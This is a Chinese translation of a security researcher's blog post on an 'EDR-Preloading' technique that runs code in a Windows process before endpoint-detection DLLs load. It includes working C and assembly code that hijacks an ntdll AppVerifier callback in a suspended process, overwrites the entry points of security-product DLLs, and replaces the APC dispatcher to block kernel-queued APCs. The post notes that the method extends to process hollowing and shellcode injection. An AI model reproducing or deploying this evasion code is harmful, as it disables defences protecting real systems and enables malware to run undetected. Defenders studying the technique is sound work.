這篇文章將介紹一種「EDR-Preloading」技術,這種技術涉及在將 EDR 的 DLL 加載到進程之前先執行惡意程式碼,這樣我們就能完全阻止 EDR 的運行。通過干擾 EDR 模組,我們可以自由地調用函數,而不必擔心用戶層的 hook,因此不需要依賴直接或間接的系統調用。
這項技術利用了 EDR 加載其用戶層組件時的一些假設和缺陷。EDR 需要將其 DLL 注入到每個進程中,以便掛鉤用戶層函數,但如果過早執行 DLL 會導致進程崩潰,如果執行得太晚,進程可能已經執行了惡意程式碼。大多數 EDR 最佳的執行時機是盡可能在進程初始化時稍晚啟動 DLL,同時仍能在調用進程入口點之前完成所有必要的操作。
理論上,我們需要的只是找到一種方法在進程初始化時更早地加載代碼,然後我們就可以搶先執行 EDR。
為了了解 EDR DLL 何時可以加載以及何時不能加載,我們需要了解一些關於進程初始化的知識。
每當創建新進程時,內核會將目標可執行檔案的映像與 ntdll.dll 一起映射到記憶體中。然後會創建一個執行緒,該執行緒最終將作為入口點執行緒。此時,進程只是空殼(PEB、TEB 和導入都是未初始化的)。在進程入口點被調用之前,必須進行相當多的設定。
每當新執行緒啟動時,其起始地址會設置為 ntdll!LdrInitializeThunk(),負責調用 ntdll!LdrpInitialize()。
ntdll!LdrpInitialize() 有兩個用途:
1、初始化進程(如果尚未初始化)
2、初始化執行緒
ntdll!LdrpInitialize() 首先檢查全局變數 ntdll!LdrpProcessInitialized,如果設為 FALSE,則會調用 ntdll!LdrpInitializeProcess() 來初始化進程,這發生在執行緒初始化之前。
ntdll!LdrpInitializeProcess() 按字面描述的操作進行,它將設置 PEB,解析進程導入,並加載所需的 DLL。
在 ntdll!LdrpInitialize() 的最後,會調用 ntdll!ZwTestAlert(),這是一個用於運行當前執行緒的 APC 隊列中所有異步進程調用(APCs)的函數。將代碼注入目標進程並調用 ntoskrnl!NtQueueApcThread(),EDR 驅動程序將在此執行其代碼。
一旦執行緒和進程初始化完成,且 ntdll!LdrpInitialize() 返回有效值,ntdll!LdrInitializeThunk() 將調用 ntdll!ZwContinue() 來執行傳輸到內核的指令。然後,內核會將執行緒的指令指針設置為指向 ntdll!RtlUserThreadStart(),它將調用可執行的入口點,進程的生命正式開始。
由於 APC 以先進先出的順序執行,有時可以通過先將自己的 APC 排入隊列來搶占某些 EDR。許多 EDR 透過使用 ntoskrnl!PsSetLoadImageNotifyRoutine() 註冊內核回調來監控新進程。每當新進程啟動時,它會自動加載 ntdll.dll 和 kernel32.dll,因此這是一個檢測新進程何時初始化的好方法。通過在進程處於暫停狀態時啟動,可以在初始化之前將 APC 排入隊列,從而最終排在隊列的前面。這種技術有時被稱為「Early Bird injection」或「早鳥注入」。
APC 隊列的問題在於它們長期以來一直用於代碼注入,因此 ntdll!NtQueueApcThread() 被大多數 EDR 掛鉤和監控。將 APC 隊列插入到暫停的進程中是高度可疑的,而且有跡可循。EDR 也可能掛鉤 APC、重新排序 APC 隊列或進行其他操作,以確保其 DLL 優先運行。
TLS 回調在 ntdll!LdrpInitializeProcess() 的末尾執行,但在 ntdll!ZwTestAlert() 之前,因此它會在任何 APC 之前運行。在應用程式使用 TLS 回調的情況下,一些 EDR 可能會注入代碼來攔截回調,或者稍微提前加載 EDR DLL 以進行補償。令我驚訝的是,我測試的一個 EDR 仍然可以利用 TLS 回調來繞過。
我的目標很簡單,但實際上完全不簡單,而且非常耗時。我想找到一種方法,在入口點之前、在 TLS 回調之前、在所有可能干擾我代碼之前執行代碼。這意味著需要對整個過程和 DLL 加載程序進行逆向工程,以尋找可以利用的任何內容。最後,我找到了一些我需要的東西。
很久以前,Microsoft 創建了一個名為 AppVerifier 的工具,用於應用程式驗證。它的設計目的是在運行時監控應用程式是否存在 bug、兼容性問題等。AppVerifier 的大部分功能是通過在 ntdll 中添加大量新回調函數來實現的。
在對 AppVerifier 層進行逆向工程時,我實際上發現了兩組有用的回調函數(AppVerifier 和 ShimEngine)。
引起我注意的兩個指標是 ntdll!g_pfnSE_GetProcAddressForCaller 和 ntdll!AvrfpAPILookupCallbackRoutine,分別是 ShimEngine 和 AppVerifier 的一部分。這兩個指標都在 ntdll!LdrGetProcedureAddressForCaller() 的末尾被調用,這是 GetProcAddress() 內部用來解析導出函數地址的函數。
這些回調函數非常適合,因為 LdrGetProcedureAddress() 在加載 LdrpInitializeProcess() 時會保證調用 kernelbase.dll。每當任何嘗試使用 GetProcAddress() / LdrGetProcedureAddress() 來解析導出時,這些回調也會被調用,包括 EDR,因此它們具有很大的潛力。更好的是,這些指標存在於進程初始化之前可寫的記憶體區域中。
雖然有許多不錯的選擇,但我決定使用 AvrfpAPILookupCallbackRoutine,因為它似乎是在 Windows 8.1 中引入的。雖然我可以使用較舊的回調來與早期的 Windows 版本兼容,但這需要更多的工作,而且我希望讓我的概念證明保持簡單。
AppVerifier 接口的其餘部分需要安裝“驗證程序提供者”,這需要大量的記憶體操作。ShimEngine 稍微容易一些,但將 g_ShimsEnabled 設為 TRUE 會啟用所有回調,而不僅僅是我們想要的回調,因此我們必須註冊每個回調函數,否則應用程式會崩潰。
選擇新的 AvrfpAPILookupCallbackRoutine 非常好,原因有兩個:
1、通過設定 ntdll!AvrfpAPILookupCallbacksEnabled 可以獨立於 AppVerifier 接口啟用它,因此不需要 AppVerifier 提供者。
2、ntdll!AvrfpAPILookupCallbacksEnabled 和 ntdll!AvrfpAPILookupCallbackRoutine 都很容易在記憶體中找到,特別是在 Windows 10 上。
為了演示目的,我決定構建一個概念證明程式,該程式利用 AvrfpAPILookupCallbackRoutine 回調在 EDR DLL 之前加載,然後阻止其加載。目前,我只在兩個主要的 EDR 上測試了它,但理論上它應該能對抗任何 EDR 代碼注入,只需進行一些調整。
完整的源代碼可以在文章底部找到。
為了創建一個回調函數,我們需要設置 ntdll!AvrfpAPILookupCallbacksEnabled 和 ntdll!AvrfpAPILookupCallbackRoutine。在 Windows 10 上,這兩個變數都位於 ntdll 的 .mrdata 部分的開頭,這部分在進程初始化期間是可寫的。
ntdll!AvrfpAPILookupCallbacksEnabled 是在 ntdll!LdrpMrdataBase 之後直接找到的(儘管有時 ntdll!LdrpKnownDllDirectoryHandle 位於它之前)。
這兩個變數似乎總是相距正好 8 個字節,並且順序相同。在初始化的進程中,佈局應如下所示:
offset+0x00 - ntdll!LdrpMrdataBase(設為 .mrdata 部分的基址)
offset+0x08 - ntdll!LdrpKnownDllDirectoryHandle(設為非零值)
offset+0x10 - ntdll!AvrfpAPILookupCallbacksEnabled(設為零)
offset+0x18 - ntdll!AvrfpAPILookupCallbackRoutine(設為零)
我們可以在自己的進程中掃描 .mrdata 部分,以查找包含該部分基址的指標,然後之後的第一個 NULL 值將是 AvrfpAPILookupCallbackRoutine。
ULONG_PTR find_avrfp_address(ULONG_PTR mrdata_base) {
ULONG_PTR address_ptr = mrdata_base + 0x280; //the pointer we want is 0x280+ bytes in
ULONG_PTR ldrp_mrdata_base = NULL;
for (int i = 0; i < 10; i++) {
if (*(ULONG_PTR*)address_ptr == mrdata_base) {
ldrp_mrdata_base = address_ptr;
break;
}
address_ptr += sizeof(LPVOID); // skip to the next pointer
}
address_ptr = ldrp_mrdata_base;
// AvrfpAPILookupCallbackRoutine should be the first NULL pointer after LdrpMrdataBase
for (int i = 0; i < 10; i++) {
if (*(ULONG_PTR*)address_ptr == NULL) {
return address_ptr;
}
address_ptr += sizeof(LPVOID); // skip to the next pointer
}
return NULL;
}
設置回調的最簡單方法是啟動我們自己的進程的第二個副本並將其設為暫停狀態。由於 ntdll 在每個進程中的地址都相同,因此我們只需要在我們的進程中找到回調指標即可。一旦我們的進程啟動但仍處於暫停狀態,我們就可以使用 WriteProcessMemory() 來設置指標。
我們也可以將這種技術應用於進程空洞化、shellcode 注入等,因為它允許我們在不創建或劫持線程或排隊 APC 的情況下執行代碼。但對於這個概念驗證,我們會保持簡單。
注意:由於許多 ntdll 指標都是加密的,因此我們不能直接設置指向目標地址的指標。我們必須先對其進行加密。幸運的是,加密密鑰是相同的值,並且存儲在所有進程中的相同位置。
LPVOID encode_system_ptr(LPVOID ptr) {
// get pointer cookie from SharedUserData!Cookie (0x330)
ULONG cookie = *(ULONG*)0x7FFE0330;
// encrypt our pointer so it'll work when written to ntdll
return (LPVOID)_rotr64(cookie ^ (ULONGLONG)ptr, cookie & 0x3F);
}
現在我們可以編寫指標,並使用 WriteProcessMemory() 將 AvrfpAPILookupCallbacksEnabled 設為 1:
// ntdll pointer are encoded using the system pointer cookie located at SharedUserData!Cookie
LPVOID callback_ptr = encode_system_ptr(&My_LdrGetProcedureAddressCallback);
// set ntdll!AvrfpAPILookupCallbacksEnabled to TRUE
uint8_t bool_true = 1;
// set ntdll!AvrfpAPILookupCallbackRoutine to our encoded callback address
if (!WriteProcessMemory(pi.hProcess, (LPVOID)(avrfp_address+8), &callback_ptr, sizeof(ULONG_PTR), NULL)) {
printf("Write 2 failed, error: %d\n", GetLastError());
}
if (!WriteProcessMemory(pi.hProcess, (LPVOID)avrfp_address, &bool_true, 1, NULL)) {
printf("Write 3 failed, error: %d\n", GetLastError());
}
一旦我們在暫停的進程上調用 ResumeThread(),每次呼叫 LdrpGetProcedureAddress() 時,都會執行我們的回調,其中第一個應該是在 LdrpInitializeProcess() 加載 kernelbase.dll 時發生的。
注意:當我們觸發回調時,kernelbase.dll 尚未完全加載,並且觸發發生在 LdrLoadDll 內部,因此仍然會獲取加載程序鎖。尚未加載的 kernelbase 意味著我們只能調用 ntdll 函數,加載程序鎖會阻止我們啟動任何線程或進程,以及加載 DLL。
由於我們能做的事情受到高度限制,因此最簡單的操作方案是阻止加載 EDR DLL,然後等到進程完全初始化後再啟動惡意軟體。
為了確保我測試的 EDR 得到適當的中和,我採取了多管齊下的方法。
在流程生命週期的早期,只應該加載 ntdll.dll、kernel32.dll 和 kernelbase.dll。某些 EDR 可能會搶先將其 DLL 映射到記憶體中,但要等到稍後再調用入口點。雖然我們可以通過呼叫 ntdll!LdrUnloadDll() 來卸載這些 DLL 一旦加載程序鎖被釋放(或手動執行),一個快速而不乾淨的解決方案是破壞它們的入口點。
我們要做的是遍歷 LDR 模組列表,並替換任何不應該存在的 DLL 的入口點地址。
DWORD EdrParadise() {
// we'll replaced the EDR entrypoint with this equally useful function
// todo: stop malware
return ERROR_TOO_MANY_SECRETS;
}
void DisablePreloadedEdrModules() {
PEB* peb = NtCurrentTeb()->ProcessEnvironmentBlock;
LIST_ENTRY* list_head = &peb->Ldr->InMemoryOrderModuleList;
LIST_ENTRY* list_entry = list_head->Flink->Flink;
while (list_entry != list_head) {
PLDR_DATA_TABLE_ENTRY2 module_entry = CONTAINING_RECORD(list_entry, LDR_DATA_TABLE_ENTRY2, InMemoryOrderLinks);
// only the below DLLs should be loaded this early, anything else is probably a security product
if (SafeRuntime::wstring_compare_i(module_entry->BaseDllName.Buffer, L"ntdll.dll") != 0 &&
SafeRuntime::wstring_compare_i(module_entry->BaseDllName.Buffer, L"kernel32.dll") != 0 &&
SafeRuntime::wstring_compare_i(module_entry->BaseDllName.Buffer, L"kernelbase.dll") != 0) {
module_entry->EntryPoint = &EdrParadise;
}
list_entry = list_entry->Flink;
}
}
當 APC 被排入線程隊列時,它們會由 ntdll!KiUserApcDispatcher() 處理,接著呼叫 ntdll!NtContinue() 讓線程返回到其原始上下文。透過鉤取 KiUserApcDispatcher 並將其替換為我們自己的函數,這個函數僅在循環中呼叫 NtContinue(),就可以防止任何 APC(包括來自 EDR 核心驅動程式的 APC)被排入我們的進程中。
; simple APC dispatcher that does everything except dispatch APCs
KiUserApcDispatcher PROC
_loop:
call GetNtContinue
mov rcx, rsp
mov rdx, 1
call rax
jmp _loop
ret
KiUserApcDispatcher ENDP
透過在 ntdll!LdrLoadDll() 上設置鉤子,我們可以監控正在加載的 DLL。如果任何 EDR 嘗試使用 LdrLoadDll 加載其 DLL,我們可以卸載或禁用它。理想情況下,我們可能會想要鉤取 ntdll!LdrpLoadDll(),這是較低層級的函數,某些 EDR 會直接呼叫它,但為了簡化操作,我們將僅使用 LdrLoadDll。
// we can use this hook to prevent new modules from being loaded (though with both EDRs I tested, we don't need to)
NTSTATUS WINAPI LdrLoadDllHook(PWSTR search_path, PULONG dll_characteristics, UNICODE_STRING* dll_name, PVOID* base_address) {
//todo: DLL create a list of DLLs to either be allowed or disallowed
return OriginalLdrLoadDll(search_path, dll_characteristics, dll_name, base_address);
}
雖然這個 PoC 僅適用於 Windows 10 64 位版本,但這項技術至少早在 Windows 7 系統上就已經可行(我沒有檢查過 XP 或 Vista)。然而,在 Windows 10 以下版本中找到正確的偏移量會更加困難。對於更可靠的方法,我建議使用反匯編工具。不論如何,這是一個非常有趣的週末專案,希望大家能夠從中學到一些東西。
您可以在這裡找到完整的源代碼:github.com/MalwareTech/EDR-Preloader
原文連結:https://malwaretech.com/2024/02/bypassing-edrs-with-edr-preload.html